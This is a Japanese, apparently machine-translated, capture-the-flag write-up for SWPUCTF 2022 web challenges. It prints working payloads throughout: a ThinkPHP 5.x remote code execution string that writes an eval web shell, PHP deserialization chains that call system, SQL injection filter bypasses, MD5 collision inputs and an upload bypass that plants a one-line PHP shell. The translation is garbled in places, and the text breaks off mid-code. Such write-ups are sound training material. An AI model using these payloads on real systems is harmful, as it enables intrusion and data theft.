[SWPUTF 2022]——Web ディレクションに関する詳細な記事

SWPUCTF 2022

no_no_php

環境を開いてソースコードを取得します

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 3) === "php" ) {
    
    
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
    
    
        echo "Hacker!!";
    }
}else {
    
    
    highlight_file(__FILE__);
}
//flag.php 

ファイルには以下が含まれており、疑似プロトコルを使用して読み取り、ペイロードを構築します。

http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag

次に、base64 デコードしてフラグを取得します

this_rce

f12、何も見えず、パケット キャプチャでも何もキャプチャできない

画像-20230707150331182

dirsearch でスキャンすると、robots.txt

画像-20230707150822172

訪れてヒントを見つけよう/NSS/index.php

画像-20230707150901085

訪問

画像-20230707151106398

しばらくアイデアがなかったのでグーグルで調べたところ、それがThinkPHP V5CVE であることがわかりました。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

ターゲット マシンとローカルの構築環境が異なるため、以下の 2 つのペイロードが与えられます。

フラグがありません/flag。フラグのパスは/NSS/ctf/flag/flag

1. シェルへの書き込み

ペイロード:

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>

このコードは と書かれておりtest.php、その内容はシェルなので、シェルを使用してフラグとペイロードを読み取ることができます。

アントソードを使って接続したくないわけではなく、接続できない理由がわからないだけです。

http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);

2. フラグを直接読み取る

find コマンドを使用してフラグを見つけることができますが、結局のところ、見つけるのは困難です。

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)

または、フラグ ファイルを 1 つずつ見つけて読み取ります

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

素晴らしいMD5

ヒント: ctf の素晴らしい文字列について聞いたことがありますか?

まずクエリを送信してから、パッケージを取得して確認してください。

画像-20230708101555556

md5解密私たちが送信したデータが通過して処理されることがわかります。

1681750044692

したがって、まず文字列を見つける必要がありますが、md5 によって取得された 16 ビットのオリジナルのバイナリ文字列がこれを実現するのに役立ちますsql注入

orこの文字列は必要ですが、同時に元の SQL 文と一致させるためには单引号or の両側にある必要があり单引号、 というpassword=‘xxx’or‘xxx’形になります。

したがって、必要な文字列の元のバイナリ形式が含まれている必要があります'or'が、元のバイナリに基づいて必要な文字列を見つけるのが面倒な場合は、32 ビットの 16 進文字列に基づいて文字列を見つけることができます。はじめに、'or'対応する 16 進数は です276f7227。したがって、私たちの目標は、32 ビットの 16 進数の md5 値でこのフィールドを含む文字列を見つけることです276f7227

次にキー番号の部分ですが、フィールド 276f7227 以降は紧跟一个数字、0、1 ~ 9 に加えて、対応する ASC コード値は 49 ~ 57 で、16 進数に変換すると 31 ~ 39 になります。つまり、フィールド 276f7227+ (31-39) が必要です。、要件を満たすことができます。例: xxxxxxxxxxxxxxxx276f7227 (31-39)xxxxxx

ffifdyop、この点の原理は、ffifdyopこの文字列が md5 によってハッシュされた後、 になるということです276f722736c95d99e921722cf9ed621c。この文字列の最初の数桁はたまたま ' または '6 になります。

そして、Mysql はたまたま 16 進数を ASCII 解釈に変換するので、結合後の形式は次のようになります。select * from ‘admin’ where password=’’ or ‘6xxxxx’

したがって、ffifdyopクエリを送信して新しいインターフェイスに入ります

画像-20230708102148906

f12 のソース コードを確認すると、md5弱比较配列を直接バイパスできます。

$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    
    
    ;

ペイロードを構築します。

node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2

新しいインターフェースに入り、ソースコードを取得します

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    
    
    echo $FLAG;
} 

今回は、md5 とペイロードの構築の強力な比較です。

wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

this_this_php(復讐)

環境を開いてソースコードを取得します

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 3) === "php" ) {
    
    
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
    
    
        echo "Hacker!!";
    }
}else {
    
    
    highlight_file(__FILE__);
}
//flag.php 

また、擬似プロトコルを使用してペイロードを直接構築します。

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php

それからbase64でデコードして消去してください、騙されました

画像-20230708103933214

ペイロードを再構築します。

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag

今回はbase64デコードでフラグを取得できます。

1z_unserialize

<?php
 
class lyh{
    
    
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
    
    
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
?> 

ここでは逆シリアル化について調べます。使用のポイントは次のとおりです。

$a($this->lly);

$aここでコマンドの実行を許可することができ、system関数が破棄されたときの$lt値が設定されます。

式を構築します。

<?php

class lyh{
    
    
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;

    function  __construct()
    {
    
    
        $this->lt ="system";
        $this->lly="ls /";
    }
}
$a=new lyh();
echo (serialize($a))
?>

ペイロード:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

それならPOSTアウトソーシングを利用しましょう

画像-20230825194948131

フラグを取得するようにコマンドを変更します。

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

数字のゲーム

dirsearch をスキャンすると、いくつかのファイルが表示されます

画像-20230825195951323

アクセスflag.phpして開きF12、再度アクセスしindex.phpてソース コードを表示します。

画像-20230825200137032

取得できる

NSSCTF{TnNTY1RmLnBocA==}

デコードしてください

画像-20230825200219934

NsScTf.php次に、ファイルにアクセスしてコードを取得します

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    
    
    static function ctf(){
    
    
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    
    
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    
    
    highlight_file(__FILE__);
} 
  1. これには、「flag.php」というファイルの内容が含まれています。このファイルには、質問への回答やロゴなどの機密情報が含まれている可能性があります。
  2. という名前のクラスが定義されておりnss、このクラスには静的メソッドがありますctfこのメソッド内には、「hint2.php」という名前のファイルが含まれています。
  3. GETリクエストでパラメータを渡すとp条件判定が入ります。条件判定ではパラメータに「n」または「c」の文字が含まれているかどうかを正規表現で判定し、p文字「n」または「c」が含まれている場合は「no」を出力してプログラムを終了します。
  4. 条件判定が失敗した場合は、パラメータに対応する関数が呼び出されcall_user_funcて実行されます。p
  5. パラメータが渡されない場合phighlight_fileこの関数はブラウザ内の現在のファイルのソース コードを強調表示するために使用されます。

GETここで、通常のマッチングは、メソッドで渡されたパラメータの値と一致しますp。最初のヒントと組み合わせると、次POSTの形式でパッケージを送信する必要があると推測されます。

実際、この通常の一致は大文字と小文字を無視する/iために使用され。

ここでそれを参照しhint2.php、アクセスしてhint2.php2 番目のヒントを取得します。

画像-20230827001022410

したがって、ポストパッケージを送信するとき、クラス名は でありnss2、関数は依然としてctf

ペイロードを構築します。

p=nss2::ctf

画像-20230827001857550

実際、ここでもhint2.php同様の方法で表示されますが、直接表示することもできます

ここはどこ

オープンな環境

画像-20230827002652270

携帯電話番号を入力し、画像認識 Web サイトを使用して確認する必要があると思います。

画像-20230827003049990

古迹酒店電話番号を確認する

画像-20230827003149660

電話番号を取得し、括弧を削除します

02886112888

落とし穴: ここに何度か入力してみましたがダメでした。電話番号の問題かと思いましたが、環境に再入力すれば問題ありません。

次に入力してフラグを取得します

画像-20230827003712487

not_not_unserialize

ソースコードは次のとおりです

<?php
class X
{
    
    
    public $x = __FILE__;
    function __construct($x)
    {
    
    
        $this->x = $x;
    }
    function __wakeup()
    {
    
    
        if ($this->x !== __FILE__) {
    
    
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
    
    
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    
    
    @unserialize($_REQUEST['x']);
} else {
    
    
    highlight_file(__FILE__);
} 

ここでの機能は__FILE__現在のファイルを取得することです

次に、逆シリアル化の開始時にマジック メソッドをトリガーして、値が現在のファイル名であるかどうかを__wakeup()検出します。そうでない場合は、値を次のファイル名に再割り当てします。$x__FILE__

次に、逆シリアル化の最後にマジック メソッドをトリガーして、__destruct()ファイルの内容を表示します。

染める__wakeup()前にPHPのバージョンを確認してください

画像-20230828182704024

PHP5のバージョンが確認できます<5.6.25

したがって、オブジェクトの属性の数が一致しないという方法を使用してバイパスできます。

最初にexpを構築し、フラグはfllllllag.php

<?php
class X
{
    
    
    public $x;
    function __construct()
    {
    
    
        $this->x = "fllllllag.php";
    }
}

$a=new X();
echo serialize($a);

走って手に入れよう

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

属性の数を変更する

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

次に、パスパラメータ、ペイロードを取得します

http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}

フラグを取得

画像-20230828183424374

js_sign

F12でソースコードが見れる

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    
    
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
    
    
        alert("you got hint!!!");
    } else {
    
    
        alert("fuck off !!");
    }    
})

dGFwY29kZQ==デコードされて取得されますtapcode

ノックコード(?)、これまで見たことはありませんが、スペースに行ってフラグを解読するだけです。

ノックコードオンライン復号化

文字列からスペースを削除して取得します

3343431344215434452124331421311122125444113513341415

逆捜査が見つかる可能性がある

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

フラグを取得

NSSCTF{youfindflagbytapcode}

xff

オープンな環境

画像-20230828184624665

推測ではXFF伪造、げっぷがパケットを捕らえて偽造したのではないかと考えられます。

X-Forwarded-For:127.0.0.1

画像-20230828184715189

説明はホームページからリダイレクトする必要があります。Referer偽物です。

Referer:127.0.0.1

フラグを取得

画像-20230828185043594

ez_sql

パラメータを渡すには比較的安全な方法を使用する必要があることに注意してください。ここではPOSTパラメータの受け渡しを使用します。GET を使用すると、エラーがポップアップします。

画像-20230830203036055

まずはクロージング方法を決める

エラー報告方法によると、終了メソッドが単一引用符であることがわかります。

画像-20230830225228203

次は関節注射を試してみましょう

nss=1' union select 1,2,3;#

画像-20230830230706238

unionエラーメッセージを見ると、合計と が空格消去されることが分かりますが、ここunionを二重書きに置き換えたり、スペースを入れてみたりしてみてください。/**/

ペイロードを構築します。

nss=2'/**/ununionion/**/select/**/1,2,3;#

バイパス成功

画像-20230830231210913

次のステップは在庫を爆発させることです

nss=2'/**/ununionion/**/select/**/1,database(),3;#

爆発物

ここで表が爆発するとor消滅してしまうので二重に書くように注意してください。

画像-20230830231432464

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

画像-20230830231730411

爆発物フィールド

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

画像-20230830231859433

データを取得する

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

画像-20230830232044691

なぜ2つあるのか分かりません。Secr3t のテーブルは正しいです。

webdog1__start

F12でコードが見える

if (isset($_GET['web']))
{
    
    
    $first=$_GET['web'];
    if ($first==md5($first)) 

この種の弱比較では$a==md5($a)配列をバイパスすることができないため、ここでは0e弱比較をバイパスするメソッドを使用します。

ペイロード:

?web=0e215962017

次にstart.phpインターフェースに入ります

画像-20230829151741247

次に、Ctrl+Uフロントエンド コードを表示し続けると、ヒントが表示されます。

画像-20230829151902907

ここでbot私が言いたいのは、robots.txt訪問することです

画像-20230829152047993

なぜ Firefox を使って中国語の文字化けに直接アクセスするのかわかりません (

画像-20230829152112900

それから訪問してくださいf14g.php

リターンヘッダーからパケットキャプチャを確認できますhint

画像-20230829152337146

次に、アクセスしF1l1l1l1l1lag.phpてコードを取得します。

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    
    
    $get=$_GET['get'];
    if(!strstr($get," ")){
    
    
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
    
    
            die("This is too long.");
            }
            
            else{
    
    
                eval($get);
          } 
    }else {
    
    
        die("nonono"); 
    }

}

getメソッドでgetパラメータを渡す必要があります。

渡されたパラメータは存在できません空格。存在する場合はflagflag使用率str_ireplace()関数を次のように変更します。空格

文字列の長さは必須です。上記の条件が満たされる場合、その文字列はget パラメータの実行に小于等于18使用されます。eval

スペースを回避する方法は数多くありますが、一般的に使用される 2 つの方法は、<リダイレクト文字とスペーサー文字です。$IFS

これはシステム変数であるためIFS、デフォルト値は であり空格変数はコマンドよりも高い優先順位を持っている命令+$IFS+参数ため、メソッドを使用してスペース フィルタリングをバイパスできます。

ただし、このメソッドを直接使用してこれを回避することはできません命令+$IFS+参数。たとえば、Linux システムが1 つのシステムと見なされ、正常に解析できない可能cat$IFSflag性があるため、これは不可能ですしたがって、正常に解析されるようにするには、後で切り詰める必要があります$IFSflag整体空格$IFS$IFS

  1. /絶対パスの前に区切り文字を使用しますcat$IFS/flag.php
  2. ワイルドカードを使用して?文字を区切ると、?Linux で文字を置換できます

ファジーマッチングはLinuxでも実行可能cat$IFS?lag.php

${}3.分離を利用するcat${IFS}flag.php

4. カスタム変数を作成できます: a=参数、コマンド$IFS$a cat$IFS$aflag.php

5. フィルターなし"0~9"、"@"、"*"命令$IFS$

ファイル リダイレクトによってスペースをバイパスする原則は、ファイル リダイレクト シンボルの実行優先順位がコマンドよりも高いことです。

格式:cat<ファイル名 cat<>flag.txt

ファイル リダイレクト オペレータはスペース フィルタリングをバイパスし、cat、head、tail などのファイル表示に関連するコマンドにのみ使用できます。

その他のバイパス: tab %09%0a 制表符\t

*フラグの回避については非常にシンプルで、基本的には先ほどのファジーマッチングを利用していることがわかります。

また、長さがあるため、より短いバイパス方法を使用することをお勧めします。たとえば、cat を nl に置き換えることができます。

最終的なペイロード:

?get=system("nl%09/*");
?get=system("nl\t/*");

またはカスタム変数を使用する

?get=eval($_GET['A']);&A=system('cat /flag');

面白い_php

環境を開いてソースコードを取得します

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
    
    
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
    
    
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
    
    
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
    
    
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
    
    
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
    
    
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
    
    
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
    
    
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
    
    
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
    
    
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
    
    
                    echo "X(";
                }
            }
        }else{
    
    
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
    
    
        include('flag.php');
        echo $flag;
    }
?> 

レイヤーごとに、それを に渡す必要がありnum、長さは文字<=3と数字でなければなりません。>999999999

ここでインデックスを使用してeバイパスできます

ペイロードの構築

?num=9e9

次に、次のstr値をNSSCTF渡す必要がありますNSSCTFstr

ペイロードを構築します。

?num=9e9&str=NNSSCTFSSCTF

次に両方の値が文字列であることを要求するPOSTsum を渡します。 および 2 つの値の md5 暗号化後の値は同じですが、ここでは弱い比較を示します。md5_1md5_2md5_1!==md5_2

ここで使用するものを選択してください0e绕过弱比较

0e で始まる一部の特殊な字符串暗号文の場合、PHP は科学表記法、つまり 0 の n 乗として扱い、比較すると得られる値は同じになります。

POSTパラメータ

md5_1=QNKCDZO&md5_2=PJNPDWY

最終的なリクエストヘッダーは次のとおりです

画像-20230829180709582

it_1zpop

コードは以下のように表示されます

<?php
error_reporting(0);
class dxg
{
    
    
   function fmm()
   {
    
    
      return "nonono";
   }
}

class lt
{
    
    
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
    
    
      $this->impo = new dxg;
   }
   function __wakeup()
   {
    
    
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
    
    
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
    
    
      echo $this;
   }
}

class fin
{
    
    
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
    
    
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
    
    
   $Data = unserialize($_GET['NSS']);
} else {
    
    
   highlight_file(__file__);
}

ポップチェーンを構築する

finここでは、クラスのfmm()関数でコマンドを実行する必要があります

__toString()調べてみると、マジックメソッドによってトリガーされるimpo値のfmm()関数であることがわかりました。

__toString(): オブジェクトが文字列として使用されるときにトリガーされます。

したがって、検索すると__destruct()、ポップは次のようになります

fin::fmm() <- lt::__toString <- lt::__destruct

exp を構築するときに必要な条件は__toString()、受信した sum の値を構築する必要があり、MD5 暗号化後の値は等しいが等しくないということmd51ですmd52md51これmd51は使用できる弱い比較です0e绕过弱比较(前の質問と同じ) )

経験値:

<?php
class lt
{
    
    
    public $impo;
    public $md51 = 'QNKCDZO';
    public $md52 = 'PJNPDWY';
    function __construct()
    {
    
    
        $this->impo = new fin();
    }
}
class fin
{
    
    
    public $a;
    public $url = '111';
    public $title ;
    function __construct()
    {
    
    
        $this->a = 'system';
        $this->title='ls /';
    }
}

$a = new lt();
echo serialize($a);

ビルドを実行する

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

ただし、ここでの__wakeup()魔法の方法に注意してください

   function __wakeup()
   {
    
    
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

彼はimpo値を に割り当てますnew dxgが、これによりクラスに入ることができなくなるため、それをバイパスしてバージョンを確認するfin必要があります。__wakeup()

画像-20230829201615319

PHP/5.5.38の場合、オブジェクトの属性数が不一致のメソッドが使用できることになります。

ペイロードを変更します。

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

画像-20230829201746630

次に、コマンドを変更してcat /f*フラグを取得します

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

this_upload

ファイルのアップロード。最初に php ファイルをアップロードしてみてください

画像-20230830015648676

ブラックリストフィルタリングし、.htaccessファイルを使用してバイパスしてアップロードします.htaccess。内容は次のとおりです

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

最初に.htaccessファイルをアップロードする

画像-20230830020343100

しかし、ここでもアップロードは失敗します。フィルタリングがまだあるはずです。変更してください。MIME类型

画像-20230830021916034

このようにして、アップロードが成功したので、jpgすぐに写真をアップロードします

画像-20230830022049835

ファイルタイプ検出があることを示すタイプを変更し、ファイルヘッダーを前に追加します。GIF89a追加後もまだ機能しません(まだ完了していません)

短いタグのフィルタリングがあるはずです。内容を変更してアップロードしてください。

GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>

画像-20230830022602016

それから訪問してください

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg

次にRCEを実行します

画像-20230830022847812

それでflag中身を見てみると何もなくて騙されました。

見てくださいphpinfo

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();

フラグを取得

画像-20230830023122450

ファニーウェブ

アカウントのパスワードを入力するだけで、ヒントがポップアップ表示されます。

画像-20230830013744880

ユーザー名は ですNSS。パスワードはお好みで入力してください

画像-20230830013805942

パスワードは2122693401、ログインしてソースコードを入手してください

謝チームは私物を持ち込んだんですよね?

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    
    
    $num = $_GET['num'];
    if ($num != '12345') {
    
    
        if (intval($num) == '12345') {
    
    
            echo $FLAG;
        }
    } else {
    
    
        echo "这为何相等又不相等";
    }
} 

次に、intval()ここで関数をバイパスするだけです。ここで使用できます。小数绕过

ペイロードを構築します。

http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6

パラメータを渡してフラグを取得する

ファイルマスター

質問にはファイル閲覧機能がありますが、権限が不足しているためフラグを直接閲覧することはできません。

画像-20230830183111456

最初に見るindex.php

画像-20230830201425374

ソースコードが利用可能

<?php
    session_start();
    if(isset($_GET['filename'])){
    
    
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
    
    
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
    
    
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
    
    
                if($img_info[0]<=20 && $img_info[1]<=20){
    
    
                    if(!is_dir("upload/".session_id())){
    
    
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
    
    
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
    
    
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
    
    
                    die("image hight and width must less than 20");
                }
            }else{
    
    
                die("invalid file head");
            }
        }else{
    
    
            die("invalid file type!image/jpeg only!!");
        }
    }else{
    
    
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

MIMEタイプが検出され、のみ許可されることがわかります。image/jpeg

ファイルのアップロード後、通常の照合が実行され、ファイルの内容にphp(大文字と小文字は区別されません) が含まれている場合、ファイルは 5 秒の遅延後に削除されます。

これは実際には短いタグのフィルタリングであり、短いタグを変更することでこれを回避できます。


PHPの短いタグのバイパス

php で最も一般的なタグは <?php ?> です。

ただし、php キーワードは、質問がアップロードされるときに waf によって除外される場合があります。クエリ結果によると、PHP タグには次の 4 種類があります。

①<? ?> は、short_open_tag=on が設定されている場合にのみ使用でき、PHP ステートメントの実行に適しています。

②<?= ?>はshort_open_tag=offが設定されている場合でも使用でき、<?php echo ?>と同等で、phpステートメントの出力に適しています~

上記 2 つの短いタグは閉じる必要はありません (つまり、?> は省略するか書かなくても接続は成功します)。

<?  @eval($_POST['a']);?>
 
<?= @eval($_POST['a']);?>
 
<?  @eval($_POST['a']);
 
<?= @eval($_POST['a']);

次に、トロイの木馬の文をアップロードします

画像-20230830202145878

ファイルヘッダー検出がある場合は、ファイルヘッダーを追加します。GIF89a

画像-20230830202258987

次に、画像の幅と高さが 20 未満である必要があることを求めるメッセージが表示されます。

上記の phpinfo() を忘れずに削除してください

ここに正常にアップロードされました

画像-20230830202452953

次に、RCE を利用しsessionidて実行しますfilename

ペイロード:

http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);

力!

F12 キーでヒントを表示できます

画像-20230829204503107

source、好きなようにパラメータを渡し、それを数値と等しくします

http://node5.anna.nssctf.cn:28431/?source=1

ソースコードを取得する

<?php
    class FileViewer{
    
    
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
    
    
            $this->loadfile();
        }
        public function loadfile(){
    
    
            if(!is_array($this->path)){
    
    
                if(preg_match("/".$this->black_list."/i",$this->path)){
    
    
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
    
    
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
    
    
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
    
    
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
